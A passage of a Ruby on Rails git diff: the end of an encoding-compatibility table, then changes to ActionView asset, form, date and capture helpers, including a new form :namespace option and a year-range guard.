+Windows-1257:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+Windows-31J:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF8-MAC:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF-16:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF-32:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF8-DoCoMo:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+SJIS-DoCoMo:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF8-KDDI:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+SJIS-KDDI:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+ISO-2022-JP-KDDI:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+stateless-ISO-2022-JP-KDDI:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,UTF8-SoftBank,SJIS-SoftBank
+UTF8-SoftBank:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,SJIS-SoftBank
+SJIS-SoftBank:ASCII-8BIT,UTF-8,US-ASCII,Big5,Big5-HKSCS,Big5-UAO,CP949,EUC-JP,EUC-KR,GB18030,GBK,ISO-8859-1,ISO-8859-2,ISO-8859-3,ISO-8859-4,ISO-8859-5,ISO-8859-6,ISO-8859-7,ISO-8859-8,ISO-8859-9,ISO-8859-10,ISO-8859-11,ISO-8859-13,ISO-8859-14,ISO-8859-15,KOI8-R,KOI8-U,Shift_JIS,UTF-16BE,UTF-16LE,UTF-32BE,UTF-32LE,Windows-1251,IBM437,IBM737,IBM775,CP850,IBM852,CP852,IBM855,CP855,IBM857,IBM860,IBM861,IBM862,IBM863,IBM865,IBM866,IBM869,macCroatian,macCyrillic,macGreek,macIceland,macRoman,macRomania,macTurkish,macUkraine,CP950,CP951,stateless-ISO-2022-JP,eucJP-ms,CP51932,GB2312,GB12345,ISO-2022-JP,CP50220,CP50221,Windows-1252,Windows-1250,Windows-1256,Windows-1253,Windows-1255,Windows-1254,TIS-620,Windows-874,Windows-1257,Windows-31J,UTF8-MAC,UTF-16,UTF-32,UTF8-DoCoMo,SJIS-DoCoMo,UTF8-KDDI,SJIS-KDDI,ISO-2022-JP-KDDI,stateless-ISO-2022-JP-KDDI,UTF8-SoftBank \ No newline at end of file
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb
index 3c05173a1b..05d5f1870a 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb
@@ -60,8 +60,8 @@ module ActionView
private
- def path_to_asset(source, include_host = true, protocol = nil)
- asset_paths.compute_public_path(source, asset_name.to_s.pluralize, extension, include_host, protocol)
+ def path_to_asset(source, options = {})
+ asset_paths.compute_public_path(source, asset_name.to_s.pluralize, options.merge(:ext => extension))
end
def path_to_asset_source(source)
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb
index 8b35aa8896..dd4e9ae4cc 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb
@@ -41,7 +41,7 @@ module ActionView
# Break out the asset path rewrite in case plugins wish to put the asset id
# someplace other than the query string.
- def rewrite_asset_path(source, dir)
+ def rewrite_asset_path(source, dir, options = nil)
source = "/#{dir}/#{source}" unless source[0] == ?/
path = config.asset_path
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb
index 25cc561608..d9f1f88ade 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb
@@ -83,7 +83,7 @@ module ActionView
# javascript_path "http://www.example.com/js/xmlhr" # => http://www.example.com/js/xmlhr
# javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
def javascript_path(source)
- asset_paths.compute_public_path(source, 'javascripts', 'js')
+ asset_paths.compute_public_path(source, 'javascripts', :ext => 'js')
end
alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
@@ -119,10 +119,10 @@ module ActionView
# # <script type="text/javascript" src="/elsewhere/cools.js?1423139606"></script>
#
# javascript_include_tag "http://www.example.com/xmlhr"
- # # => <script type="text/javascript" src="http://www.example.com/xmlhr.js?1284139606"></script>
+ # # => <script type="text/javascript" src="http://www.example.com/xmlhr"></script>
#
# javascript_include_tag "http://www.example.com/xmlhr.js"
- # # => <script type="text/javascript" src="http://www.example.com/xmlhr.js?1284139606"></script>
+ # # => <script type="text/javascript" src="http://www.example.com/xmlhr.js"></script>
#
# javascript_include_tag :defaults
# # => <script type="text/javascript" src="/javascripts/jquery.js?1284139606"></script>
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb
index 8c25d38bbd..41958c6559 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb
@@ -17,7 +17,7 @@ module ActionView
def asset_tag(source, options)
# We force the :request protocol here to avoid a double-download bug in IE7 and IE8
- tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => ERB::Util.html_escape(path_to_asset(source, true, :request)) }.merge(options), false, false)
+ tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => path_to_asset(source, :protocol => :request) }.merge(options))
end
def custom_dir
@@ -61,13 +61,16 @@ module ActionView
# stylesheet_path "http://www.example.com/css/style" # => http://www.example.com/css/style
# stylesheet_path "http://www.example.com/css/style.css" # => http://www.example.com/css/style.css
def stylesheet_path(source)
- asset_paths.compute_public_path(source, 'stylesheets', 'css', true, :request)
+ asset_paths.compute_public_path(source, 'stylesheets', :ext => 'css', :protocol => :request)
end
alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
# Returns a stylesheet link tag for the sources specified as arguments. If
# you don't specify an extension, <tt>.css</tt> will be appended automatically.
# You can modify the link attributes by passing a hash as the last argument.
+ # For historical reasons, the 'media' attribute will always be present and defaults
+ # to "screen", so you must explicitely set it to "all" for the stylesheet(s) to
+ # apply to all media types.
#
# ==== Examples
# stylesheet_link_tag "style" # =>
diff --git a/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
index 39c37b25dc..73824dc1f8 100644
--- a/actionpack/lib/action_view/helpers/atom_feed_helper.rb
+++ b/actionpack/lib/action_view/helpers/atom_feed_helper.rb
@@ -32,7 +32,7 @@ module ActionView
# app/views/posts/index.atom.builder:
# atom_feed do |feed|
# feed.title("My great blog!")
- # feed.updated(@posts.first.created_at)
+ # feed.updated(@posts[0].created_at) if @posts.length > 0
#
# @posts.each do |post|
# feed.entry(post) do |entry|
diff --git a/actionpack/lib/action_view/helpers/cache_helper.rb b/actionpack/lib/action_view/helpers/cache_helper.rb
index f81ce3e31c..850dd5f448 100644
--- a/actionpack/lib/action_view/helpers/cache_helper.rb
+++ b/actionpack/lib/action_view/helpers/cache_helper.rb
@@ -54,7 +54,7 @@ module ActionView
output_safe = output_buffer.html_safe?
fragment = output_buffer.slice!(pos..-1)
if output_safe
- self.output_buffer = output_buffer.html_safe
+ self.output_buffer = output_buffer.class.new(output_buffer)
end
controller.write_fragment(name, fragment, options)
end
diff --git a/actionpack/lib/action_view/helpers/capture_helper.rb b/actionpack/lib/action_view/helpers/capture_helper.rb
index 62f95379cd..8abd85c3a3 100644
--- a/actionpack/lib/action_view/helpers/capture_helper.rb
+++ b/actionpack/lib/action_view/helpers/capture_helper.rb
@@ -134,9 +134,9 @@ module ActionView
# WARNING: content_for is ignored in caches. So you shouldn't use it
# for elements that will be fragment cached.
def content_for(name, content = nil, &block)
- content = capture(&block) if block_given?
- if content
- @view_flow.append(name, content)
+ if content || block_given?
+ content = capture(&block) if block_given?
+ @view_flow.append(name, content) if content
nil
else
@view_flow.get(name)
diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb
index e850c258ce..4deb87180c 100644
--- a/actionpack/lib/action_view/helpers/date_helper.rb
+++ b/actionpack/lib/action_view/helpers/date_helper.rb
@@ -765,11 +765,16 @@ module ActionView
if @options[:use_hidden] || @options[:discard_year]
build_hidden(:year, val)
else
- options = {}
- options[:start] = @options[:start_year] || middle_year - 5
- options[:end] = @options[:end_year] || middle_year + 5
- options[:step] = options[:start] < options[:end] ? 1 : -1
- options[:leading_zeros] = false
+ options = {}
+ options[:start] = @options[:start_year] || middle_year - 5
+ options[:end] = @options[:end_year] || middle_year + 5
+ options[:step] = options[:start] < options[:end] ? 1 : -1
+ options[:leading_zeros] = false
+ options[:max_years_allowed] = @options[:max_years_allowed] || 1000
+
+ if (options[:end] - options[:start]).abs > options[:max_years_allowed]
+ raise ArgumentError, "There're too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter"
+ end
build_options_and_select(:year, val, options)
end
diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb
index 85dea96bbb..e674e12509 100644
--- a/actionpack/lib/action_view/helpers/form_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_helper.rb
@@ -158,6 +158,9 @@ module ActionView
# * <tt>:url</tt> - The URL the form is submitted to. It takes the same
# fields you pass to +url_for+ or +link_to+. In particular you may pass
# here a named route directly as well. Defaults to the current action.
+ # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
+ # id attributes on form elements. The namespace attribute will be prefixed
+ # with underscore on the generated HTML id.
# * <tt>:html</tt> - Optional HTML attributes for the form tag.
#
# Also note that +form_for+ doesn't create an exclusive scope. It's still
@@ -385,7 +388,7 @@ module ActionView
action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :put] : [:new, :post]
options[:html].reverse_merge!(
:class => as ? "#{as}_#{action}" : dom_class(object, action),
- :id => as ? "#{as}_#{action}" : dom_id(object, action),
+ :id => as ? "#{as}_#{action}" : [options[:namespace], dom_id(object, action)].compact.join("_").presence,
:method => method
)
@@ -649,7 +652,7 @@ module ActionView
# # => <label for="post_privacy_public">Public Post</label>
#
# label(:post, :terms) do
- # 'Accept <a href="/terms">Terms</a>.'
+ # 'Accept <a href="/terms">Terms</a>.'.html_safe
# end
def label(object_name, method, content_or_options = nil, options = nil, &block)
content_is_options = content_or_options.is_a?(Hash)
@@ -738,7 +741,7 @@ module ActionView
# # => <input type="file" id="user_avatar" name="user[avatar]" />
#
# file_field(:post, :attached, :accept => 'text/html')
- # # => <input type="file" id="post_attached" name="post[attached]" />
+ # # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
#
# file_field(:attachment, :file, :class => 'file_input')
# # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
@@ -960,7 +963,7 @@ module ActionView
end
class InstanceTag
- include Helpers::CaptureHelper, Context, Helpers::TagHelper, Helpers::FormTagHelper
+ include Helpers::TagHelper, Helpers::FormTagHelper
attr_reader :object, :method_name, :object_name
@@ -971,6 +974,7 @@ module ActionView
def initialize(object_name, method_name, template_object, object = nil)
@object_name, @method_name = object_name.to_s.dup, method_name.to_s.dup
@template_object = template_object
+
@object_name.sub!(/\[\]$/,"") || @object_name.sub!(/\[\]\]$/,"]")
@object = retrieve_object(object)
@auto_index = retrieve_autoindex(Regexp.last_match.pre_match) if Regexp.last_match
@@ -989,14 +993,23 @@ module ActionView
add_default_name_and_id_for_value(tag_value, name_and_id)
options.delete("index")
+ options.delete("namespace")
options["for"] ||= name_and_id["id"]
if block_given?
- label_tag(name_and_id["id"], options, &block)
+ @template_object.label_tag(name_and_id["id"], options, &block)
else
content = if text.blank?
+ object_name.gsub!(/\[(.*)_attributes\]\[\d\]/, '.\1')
method_and_value = tag_value.present? ? "#{method_name}.#{tag_value}" : method_name
- I18n.t("helpers.label.#{object_name}.#{method_and_value}", :default => "").presence
+
+ if object.respond_to?(:to_model)
+ key = object.class.model_name.i18n_key
+ i18n_default = ["#{key}.#{method_and_value}".to_sym, ""]
+ end
+
+ i18n_default ||= ""
+ I18n.t("#{object_name}.#{method_and_value}", :default => i18n_default, :scope => "helpers.label").presence
else
text.to_s
end
@@ -1027,6 +1040,8 @@ module ActionView
def to_number_field_tag(field_type, options = {})
options = options.stringify_keys
+ options['size'] ||= nil
+
if range = options.delete("in") || options.delete("within")
options.update("min" => range.min, "max" => range.max)
end
@@ -1185,6 +1200,7 @@ module ActionView
options["name"] ||= tag_name + (options['multiple'] ? '[]' : '')
options["id"] = options.fetch("id"){ tag_id }
end
+ options["id"] = [options.delete('namespace'), options["id"]].compact.join("_").presence
end
def tag_name
@@ -1227,12 +1243,12 @@ module ActionView
parent_builder.multipart = multipart if parent_builder
end
- def self._to_path
- @_to_path ||= name.demodulize.underscore.sub!(/_builder$/, '')
+ def self._to_partial_path
+ @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, '')
end
- def to_path
- self.class._to_path
+ def to_partial_path
+ self.class._to_partial_path
end
def to_model
@@ -1243,7 +1259,7 @@ module ActionView
@nested_child_index = {}
@object_name, @object, @template, @options, @proc = object_name, object, template, options, proc
@parent_builder = options[:parent_builder]
- @default_options = @options ? @options.slice(:index) : {}
+ @default_options = @options ? @options.slice(:index, :namespace) : {}
if @object_name.to_s.match(/\[\]$/)
if object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}") and object.respond_to?(:to_param)
@auto_index = object.to_param
@@ -1270,6 +1286,7 @@ module ActionView
fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
fields_options[:builder] ||= options[:builder]
fields_options[:parent_builder] = self
+ fields_options[:namespace] = fields_options[:parent_builder].options[:namespace]
case record_name
when String, Symbol
diff --git a/actionpack/lib/action_view/helpers/form_options_helper.rb b/actionpack/lib/action_view/helpers/form_options_helper.rb
index c677257d60..f895cad058 100644
--- a/actionpack/lib/action_view/helpers/form_options_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_options_helper.rb
@@ -579,7 +579,12 @@ module ActionView
def to_select_tag(choices, options, html_options)
selected_value = options.has_key?(:selected) ? options[:selected] : value(object)
- if !choices.empty? && choices.try(:first).try(:second).respond_to?(:each)
+ # Grouped choices look like this:
+ #
+ # [nil, []]
+ # { nil => [] }
+ #
+ if !choices.empty? && Array === choices.first.last
option_tags = grouped_options_for_select(choices, :selected => selected_value, :disabled => options[:disabled])
else
option_tags = options_for_select(choices, :selected => selected_value, :disabled => options[:disabled])
diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb
index 822686b09d..1424a3584d 100644
--- a/actionpack/lib/action_view/helpers/form_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_tag_helper.rb
@@ -56,8 +56,8 @@ module ActionView
# form_tag('http://far.away.com/form', :authenticity_token => "cf50faa3fe97702ca1ae")
# # form with custom authenticity token
#
- def form_tag(url_for_options = {}, options = {}, *parameters_for_url, &block)
- html_options = html_options_for_form(url_for_options, options, *parameters_for_url)
